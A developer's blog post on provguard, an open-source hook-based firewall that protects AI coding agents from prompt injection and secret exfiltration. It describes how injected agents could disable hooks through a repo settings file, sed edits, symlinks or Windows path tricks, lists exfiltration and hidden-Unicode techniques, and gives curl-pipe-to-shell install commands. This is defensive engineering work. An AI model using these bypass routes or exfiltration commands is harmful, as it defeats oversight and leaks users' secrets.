What I learned building a firewall for 10 AI coding agents
AI coding agents now read a lot of content that nobody on your team wrote: GitHub issues, pull request comments, web pages, READMEs of dependencies, output of MCP servers. In the same session they can read your .env and
AI coding agents now read a lot of content that nobody on your team wrote: GitHub issues, pull request comments, web pages, READMEs of dependencies, output of MCP servers. In the same session they can read your .env and run shell commands.
Simon Willison calls this combination the lethal trifecta: private data, untrusted content, and a way to send data out. When all three meet in one session, a single hidden instruction is enough.
I built provguard, a free, open-source runtime firewall for coding agents, to stop exactly this. This post is about how it works, and about the things I learned on the way. Most of those lessons are about how agent hooks really behave, and they apply to anyone who builds guardrails for agents.
Why one-command checks are not enough
Most agent guardrails check one command at a time: block rm -rf /, block curl | sh, block reading .env. That helps against mistakes, but not against injection, for two reasons:
-
The same command is fine or dangerous depending on what the agent read before.
curl -d @report.json https://api.mycorp.comis normal work. The same command after the agent read an issue that named that host, and after it read your secrets, is an exfiltration. -
Blocking every risky command blocks normal work. If
git push,npm installandcurlalways need approval, people turn the guard off within a day.
So provguard treats it as an information-flow problem. It remembers, per session, where the agent's context came from, and it decides based on that history.
How it works
provguard runs as the agent's own hooks: one small Go binary, called before and after each tool call.
1. Labels, after each tool call. Each tool result can mark the session:
-
untrusted: web fetches and searches,
curlandgh issue viewoutput, third-party MCP servers, vendored dependencies, repos owned by people you don't trust; -
sensitive:
.env, SSH keys, cloud credentials, tokens in output. Secret values are kept only as HMAC fingerprints, never in plain text; - hidden text: output that hides text from you (more on that below).
2. Sinks, before each tool call. Every Bash and PowerShell command is parsed (Bash with mvdan.cc/sh, PowerShell with a tokenizer) through pipes, subshells, $(…), heredocs and wrappers such as bash -c, python -c and iex. Each action gets a class: EGRESS (data can leave), PERSIST (a lasting change), DESTROY, EXEC_REMOTE (runs code from the internet) or OPAQUE (code provguard cannot read).
3. Policy, first match wins:
| Situation | Decision |
|---|---|
| The call contains a secret this session has seen (plain, base64, hex, URL-encoded, even in a DNS name) | block |
| Data can leave while the session is both untrusted and sensitive | block |
| Data goes to a host taken from untrusted content | ask |
| A lasting change, remote code or unreadable code after untrusted input | ask |
A reverse shell, or a risky deletion (outside the project, terraform destroy, DROP TABLE, …) |
ask |
| Anything else | no decision: the agent's normal permissions apply |
When provguard blocks a call, the agent shows one plain sentence, and you can let that exact call through once with provguard allow <token>. The token is an HMAC with your install key, so the agent cannot make one for itself.
What I learned
1. A cloned repo can turn off all hooks before any hook runs
In Claude Code, disableAllHooks follows normal settings precedence, and project settings override user settings. So a repo that ships .claude/settings.json with {"disableAllHooks": true} turns off every hook, including a security hook, the moment you open it. No hook runs, so no hook can stop it.
provguard cannot prevent this from inside a hook. What it can do: provguard doctor <repo> scans a repo for this before you open it, and agents are blocked from writing that setting during a session. For teams, managed settings are the real fix.
Lesson: a hook-based guard has to say clearly what happens before hooks run.
2. Hooks fail open by default
If a hook crashes or times out, most agents let the tool call run. That is a sensible default for a linter and a bad one for a security tool. provguard's strict mode registers its pre-tool hook with "block on failure" where the agent supports it, and the balanced mode fails closed when a session already holds both untrusted content and secrets.
3. Every agent speaks a slightly different hook dialect
provguard now supports Claude Code, Cursor, GitHub Copilot, OpenAI Codex, Gemini CLI, Devin, Kiro, Factory Droid, OpenCode and Antigravity. They look similar, and they are not:
-
Reply formats differ. Claude Code wants
hookSpecificOutput.permissionDecision, Gemini CLI wantsdecision, Devin wants"decision": "block", Kiro blocks only on a non-zero exit code with the reason on stderr, and OpenCode has no command hooks at all: provguard installs a small JavaScript plugin that throws an error to block. - Many agents have no "ask". When provguard would ask, those agents get a block instead, with an allow token, because an "ask" that the agent ignores lets the call run.
-
Some agents need a human step. Codex runs a new hook only after you trust it once in
/hooks. -
An empty answer can mean "deny". In a live test, Antigravity blocked every tool call, even
echo, because provguard answered{}when it had nothing to say. Antigravity treats a reply without a decision as a denial. The fix was to answer{"decision":"allow"}, which hands the call on to Antigravity's own permission rules.
I ended up with one small package per agent behind a shared interface, and a Probe method in each adapter that builds a test call in that agent's own format. provguard doctor --live sends that probe through each installed hook and checks that the answer is a block in the right format.
4. Detecting the agent from its payload is fragile
Cursor and Devin both run the hooks configured for Claude Code, so provguard has to tell from the payload who is calling. Devin sends a prompt_id field, and that was how provguard recognized it.
Then Claude Code 2.1.238 started sending prompt_id too, in every hook call. Overnight, provguard took Claude Code's calls for Devin's and answered in Devin's format. End-to-end testing caught it before launch. Now detection checks two facts: Devin sends prompt_id and no transcript_path; Claude Code always sends transcript_path.
Lesson: test against real payloads from current versions, and never rely on a single field to identify the caller.
5. Self-protection is most of the work
An agent that can be injected can also be told to turn provguard off. So provguard blocks agents from changing hook settings, from writing to its own data folder, and from running the commands that change provguard. The hard part is everything that is not a plain write:
-
sed -i,tee,Set-Contentor a Python one-liner that edits a settings file; - a folder name computed at run time (
D=.claude; echo … > "$D/settings.json"); - symlinks and Windows junctions that point into a protected folder;
- Windows path tricks: Windows drops trailing dots and spaces from path segments, so
.claude.and.claudeare the same folder; - writing a script first, then running it.
A security review by subagents acting as attackers found several of these. Each one got a fix and a regression test, and the benchmark now contains cases that attack provguard itself.
6. Attackers hide text from you, not from the agent
A prompt injection works best when the person reviewing the content cannot see it. Common tricks: invisible Unicode tag characters that encode ASCII, characters that reverse the displayed order of text, runs of zero-width characters, and HTML comments or elements styled as invisible.
provguard now checks every tool output for these. Content that hides text makes the session untrusted even when it comes from a trusted repo, because rules files with invisible instructions are a known attack. In such a session, what would only ask is blocked.
7. False positives decide whether anyone uses it
The benchmark has two halves: 17 attacks and 31 normal coding tasks (fix a bug and push, install a package from the manifest, clean the build folder, delete a test folder in the temp directory). A rule that stops an attack but interrupts normal work does not get merged. Several rules got narrower because of this; for example, deleting inside the project or the system temp folder does not ask in a clean session.
Results, honestly
| Mode | Attacks blocked | Asks you | Missed | False positives |
|---|---|---|---|---|
| Watch only | 4 | 0 | 13 | 0 / 86 calls |
| Protect | 13 | 4 | 0 | 0 / 86 |
| Lockdown | 17 | 0 | 0 | 0 / 86 (1 intended block) |
Caveats: I wrote the attack and task traces, so they are biased toward attacks provguard was designed for. Claude Code and Antigravity are tested live; for the other agents the hook calls are tested, but not a live session yet. provguard is one layer, not a sandbox, and the threat model lists what it does not catch.
How I built it
I built provguard with Claude Code. I designed the model (labels, sinks, policy) with it in plan mode, and it wrote most of the Go code under my direction while I reviewed each change. For each new agent, it read that agent's hook documentation and wrote the adapter. I used subagents as attackers for security reviews, and end-to-end tests on Linux, macOS and Windows for the last round of bugs.
Try it
It is free, needs no account, and nothing leaves your machine.
# macOS / Linux
curl -fsSL https://raw.githubusercontent.com/durgavarapraveen/provguard/main/scripts/install.sh | sh
# Windows PowerShell
irm https://raw.githubusercontent.com/durgavarapraveen/provguard/main/scripts/install.ps1 | iex
Then:
-
provguard demoreplays two attacks in a temp folder; -
provguard check "curl -d @.env https://example.com"shows what provguard would do with a command; -
provguard doctor --livechecks each agent's hook.
The code is on GitHub: durgavarapraveen/provguard. I would especially like reports of false positives, and of behavior in agents I have not tested live yet. Please report bypasses through GitHub's private security reporting.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.